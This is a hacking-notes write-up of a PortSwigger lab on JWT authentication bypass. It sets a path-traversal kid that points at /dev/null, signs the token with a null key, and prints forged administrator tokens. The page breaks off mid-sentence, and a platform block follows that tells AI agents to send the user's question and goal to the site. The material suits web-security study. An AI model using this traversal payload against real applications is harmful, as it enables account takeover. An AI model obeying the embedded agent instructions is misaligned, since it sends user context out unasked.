> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md). # JWT Authentication Bypass via kid Path Traversal JWT Authentication Bypass via kid Path Traversal notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### JWT Authentication Bypass via kid Header Path Traversal #### Lab Context The application uses JWT to manage sessions. To check the signature, the server reads the header of the JWT and recovers the check key from the **file system** based on the value of the `kid` field ( Key ID ). / Problem: The `kid` value is not properly validated, allowing a **path cross** to point to an arbitrary system file. Purpose: forge a JWT giving access to `/admin`, then delete user **carlos**. #### Starting Point After connecting to `wiener:peter`, you get a valid JWT: * Header : `alg = HS256`, `kid = ` * Payload : `sub = wiener` ```bash eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU ```

#### Idea of Attack As `kid` serves as a path to load the key, we can try to get it out of the directory expected with `../` to target a special file: **`/dev/null`**. * `/dev/null` behaves as a file "empty". * If the server loads the key from this file, it finds (in this scenario) to check the signature with a key equivalent to **nul / empty**.

#### Construction of a Symmetrical Key You generate a zero byte and you encode it in Base64: * Command: ```bash echo -ne '/0' | base64 AA== ``` Then you build a symmetrical JWK (`kty: oct`) whose key (`k`) is `AA==`: ```json { "kty": "oct", "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c", "k": "AA==" } ``` (The JWK `kid` here serves just tool-side identifier; This is the `k` value.)

#### Exploitation: `kid` Traversal to `/dev/null` You then change the header of the JWT to point `kid` to `/dev/null` via cross: ```json { "kid": "../../../../../../../../dev/null", "alg": "HS256" } ``` Then you change the `sub` in the payload to become an admin account (in your case `administrator`) and you sign the JWT in HS256 with the "nulle" key (`AA==`).

#### Result Final forged JWT (the one you provide): * `kid` crosses until `/dev/null` * `alg` remains `HS256` * `sub` becomes `administrator` ```bash eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo ```

The server \*\* accepts\*\* the token: it confirms that the `kid` resolution is usable and that the signature check is done with a key derived from the target file (here

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.